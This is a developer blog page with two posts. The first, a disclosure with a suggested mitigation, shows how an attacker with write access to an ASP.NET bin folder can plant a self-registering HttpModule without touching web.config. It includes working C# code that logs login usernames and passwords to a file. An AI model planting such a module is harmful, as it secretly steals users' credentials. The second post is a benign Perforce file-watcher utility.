Wednesday, February 22, 2012

HttpModules. Now even easier to be misused.

Attacks like DDoS or simple web defaces are just vandalism and for sure quite annoying. However, what is considered to be a serious threat is when skilled attackers target one application (or one company), looking for specific information. They dig until they find a security hole, escalate privileges and once they have access to one server, they begin to obtain access to other computer systems within that network.

What does it have to do with HttpModules?

HttpModules gives you a complete control over the Request, Response, Session, Cache and other modules loaded within your web application. They are required and very useful when building ASP.NET applications.

This great control over the application can also be misused when malicious attackers break into the Web Application Server. All the applications hosted there are compromised. Access to its ConnectionStrings means database access, and in case authentication is based on forms, all password hashes are readable. Bruteforcing against a dictionary or even using a hash database, like this one with over 10 million hashes, would break many of them. But with the control HttpModules gives to you is so big that you actually should not worry about hash cracking at all.

HttpModule Overview:

The classic way to build an HttpModule is to create a class within your Web Application project (or at least reference System.Web), implement IHttpModule interface, create an entry to the web.config, and it works. The registration of the HttpModule is the portion added to the web.config, like:
<httpModules>
    <add name="AuditModule" type="BrunoGarcia.AuditModule"/>
</httpModules>
HttpModules can easily be plugged in an application in production without rebuilding it or having any access to the source control what so ever. Simply adding the module dll under the bin folder or just putting HttpModule source file in App_Code folder which would trigger dynamic compilation and recycle the application. But the web.config registration would have to be done either way.


With the introduction of ASP.NET MVC 3, came along the Microsoft.Web.Infrastructure assembly. Microsoft has its description on msdn:

The Microsoft.Web.Infrastructure.DynamicModuleHelper contains classes that assist in managing dynamic modules in ASP.NET web pages that use the Razor syntax.

One of the classes within that namespace is: PreApplicationStartMethodAttribute that can be used to make the module registration programmatically. Note that even though it mentions "Razor syntax", what I describe here works with any type of ASP.NET application.

With this, it got even easier, considering the module will register itself. Just make sure the application server has the Microsoft.Web.Infrastructure.dll available either in the global assembly catalog (GAC) or at least under the application Bin folder and the application pool running on .Net 4.0. Matt Wrock wrote here, not long ago, about this new functionality and he ends the post with the section "Is this a good practice?" describing a few concerns about this technique. I'd like to quote this part:

"Well maybe I'm over thinking this but my first concern here is discoverability. In the case of this specific sample, the HttpModule is visibly changing the markup rendered to the browser. I envision a new developer or team inheriting this application and wonder just how long it will take for them to find where this "alteration" is coming from. ... Or perhaps a team member drops in such a module and forgets to tell the team she put it there. I'm thinking that at some point in this story some negative energy will be exerted. Perhaps even a tear shed?"

Now an attacker with write permission to the application bin folder can inject a module without even changing the web.config, and therefore make it even more complicated to detect the system was compromised.

PoC:

To simulate the production system I've created a new project using ASP.NET Web Application template that creates a standard Web Forms Project, did no changes to the project, built it and hosted with IIS 7.5.
Created an entry to the loopback on C:\Windows\System32\drivers\etc\hosts called: httpmodulepoc.com
Note that IIS has default settings and the Application Pool is running under ApplicationPoolIdentity and as mentioned here, is:

ApplicationPoolIdentity is a Managed Service Account, which is a new concept introduced in Windows Server 2008 R2 and Windows 7.  For more information on Managed Service Accounts, please see the following link:
http://technet.microsoft.com/en-us/library/dd367859(WS.10).aspx

For this PoC I thought of simply intercepting all requests, and in case of a POST on the login form, write the username and password to a file. Writing a file on disk with the permission set that Application Pool has by default doesn't give you many options. However the ACL on ASP.NET Temp folder allows write access. 
Therefore I picked the path:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files

Then comes the module:
using System;
using System.IO;
using System.Web;
using System.Web.Hosting;
using Microsoft.Web.Infrastructure.DynamicModuleHelper;

[assembly: PreApplicationStartMethod(typeof(RequestInterceptorModule), "Run")]
public class RequestInterceptorModule : IHttpModule
{
    public static void Run()
    {
        DynamicModuleUtility.RegisterModule(typeof(RequestInterceptorModule));
    }

    public void Dispose() { }

    const string myFile = @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\HttpModulePoC";
    static readonly object @lock = new object();

    public void Init(HttpApplication context)
    {
        context.BeginRequest += new EventHandler(context_BeginRequest);

        File.WriteAllText(myFile,
            string.Format("{0} Module initialized for application {1}\r\n",
            DateTime.Now,
            HostingEnvironment.ApplicationHost.GetSiteName()));
    }

    void context_BeginRequest(object sender, EventArgs e)
    {
        var app = sender as HttpApplication;
        if (app.Request.RequestType == "POST"
            && Path.GetFileName(app.Request.PhysicalPath) == "Login.aspx")
        {
            lock (@lock)
            {
                File.AppendAllText(myFile, string.Format("{0} - Login: {1} - Password: {2}\r\n",
                    DateTime.Now,
                    app.Request.Form["ctl00$MainContent$LoginUser$UserName"],
                    app.Request.Form["ctl00$MainContent$LoginUser$Password"]));
            }
        }
    }
}

I built this class in its own project. A dll file with 6KB was created and I just copied it to the hosted application HttpModulePoC bin folder.

Then I browse: http://httpmodulepoc.com

When I hit the server, the application pool process starts, the module loads itself, subscribes for BeginRequest event and writes to the file:
21/02/2012 16:32:45 Module initialized for application HttpModulePoC

Click on Login link, write username and password and click Log In:


In the file I see:
21/02/2012 16:32:58 - Login: myUsername - Password: myPassword

This is just an example of what could be done. Think of having complete access to Cache, User Session, Request, Response and more. So much can be done.

Monitoring loaded modules:

As I mentioned above, before the introduction of:
Microsoft.Web.Infrastructure.DynamicModuleHelper.PreApplicationStartMethodAttribute
Creating custom modules required registration on web.config. Simple monitoring the configuration files was enough. But now a different approach has to be used.
Before injecting my module to the HttpModulePoC application, enumerating the loaded Modules with:

HttpContext.Current.ApplicationInstance.Modules.AllKeys

I got the following15 items:

OutputCache
Session
WindowsAuthentication
FormsAuthentication
PassportAuthentication
RoleManager
UrlAuthorization
FileAuthorization
AnonymousIdentification
Profile
ErrorHandlerModule
ServiceModel
UrlRoutingModule-4.0
ScriptModule-4.0
DefaultAuthentication

Mitigation could be done by writing a custom code to compare the allowed modules with the ones loaded. In case an unauthorized module is loaded, send an alert (or avoid completely the application from starting). Alerts could be simply written to event log or sent by e-mail.

Obviously, the most important is to train the development team to write secure code, make sure the system is up-to-date with security updates from the vendor of the operating system and applications installed. That will minimize the risk of attackers breaking into the application server.

Friday, February 10, 2012

New files on Visual Studio project added to Perforce

I worked with a few different source control systems. The first was Visual Source Safe, then CVS, Subversion (SVN) and for two years I was working with Team Foundation Server, and its Source Control. Great integration TFS has, just like any other Microsoft product working with each other.

Now I started working on a project with a different source control: Perforce
Wouldn't dare to talk badly about it, scalability is quite impressive and it has good features too.
There is also plugin to integrate your project to Visual Studio, which for example, adds to your pending list on Perforce, files you add to your Visual Studio project.

But what if your project is not integrated (or you don't have the plugin)?

Well, it was my case, and it means that every time you add files to your project on Visual Studio, using the Wizard for example, you have to open p4 client, browse to the file and click: Mark for Add. Only then, the files are shown in your changelist.

Not a problem. Every time I add something to the project, I have to remember to go to p4 and Mark for Add.
Obviously it didn't take long, I forgot to Mark for Add one file, submitted my changes and CruiseControl tray application went red. I broke the build!

Foreseen that would not be the only occasion, I decided to spend an hour or so doing some quick and dirty solution to serve as a patch for this lack of memory I might eventually have.

So the first thing that popped in my head was parsing the csproj file (would have to parse .sln too, in case I add a new project). That probably would take sometime to make work well.
And to know when it is changed, I would have to monitor it anyway. So I decided that monitoring the  project folder with FileSystemWatcher was the best effort/benefit ratio.

Considering my layout skills are great, I decided not to try to make a UI! :)
Well, there's a Context Menu, since defining the paths to monitors and Regular Expressions to ignore are required to make it work.

Path that match one if this Regex are ignored


But let's ignore that part and see it working:
I select Add file within Visual Studio, the file is written to the disk and immediately I get the popup, on top of Visual Studio:

Notification that file was added. Hit enter to add it to your Change list within Perforce
Despite the UI related code, which stayed in the Form1 code-behind, there's only 1 class, as I mentioned before Quick-and-dirty, that does the business. For each path you specify to be monitored, a new instance is created:


namespace AddToPerforce
{
    internal class Watcher : IDisposable
    {
        private IEnumerable<string> _exceptions { get; set; }
        private FileSystemWatcher _fileWatchers = null;

        public string PathToMonitor { get; private set; }

        public Watcher(IEnumerable<string> exceptions, string pathToMonitor)
        {
            _exceptions = exceptions;
            PathToMonitor = pathToMonitor;
        }

        public void Start()
        {
            _fileWatchers = new FileSystemWatcher(PathToMonitor);
            _fileWatchers.Created += CreatedHandler;
            _fileWatchers.Error += (s, e) => MessageBox.Show(string.Format("Error has occured: {0}", e.GetException().Message));
            _fileWatchers.EnableRaisingEvents = _fileWatchers.IncludeSubdirectories = true;
        }

        public bool PauseContinue()
        {
            return _fileWatchers.EnableRaisingEvents = !_fileWatchers.EnableRaisingEvents;
        }

        void CreatedHandler(object sender, FileSystemEventArgs e)
        {
            if (_exceptions.Any(p => Regex.IsMatch(e.FullPath, p))) return;

            var msg = string.Format(@"File created: 

{0}

Do you want to add it to your perforce Changelist?", e.FullPath);

            if (DialogResult.Yes == MessageBox.Show(msg, "File added!",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning,
                MessageBoxDefaultButton.Button1,
                MessageBoxOptions.DefaultDesktopOnly))
                Process.Start("p4", string.Format("add -f -c default \"{0}\"", e.FullPath));
        }

        public void Dispose()
        {
            if (_fileWatchers != null)
                _fileWatchers.Dispose();
        }
    }
}

So now every time I add a file to the project (or write any file on the path I setup to be monitored), I get that Notification where I can choose to add it to Perforce changelist.

You can download the sources here.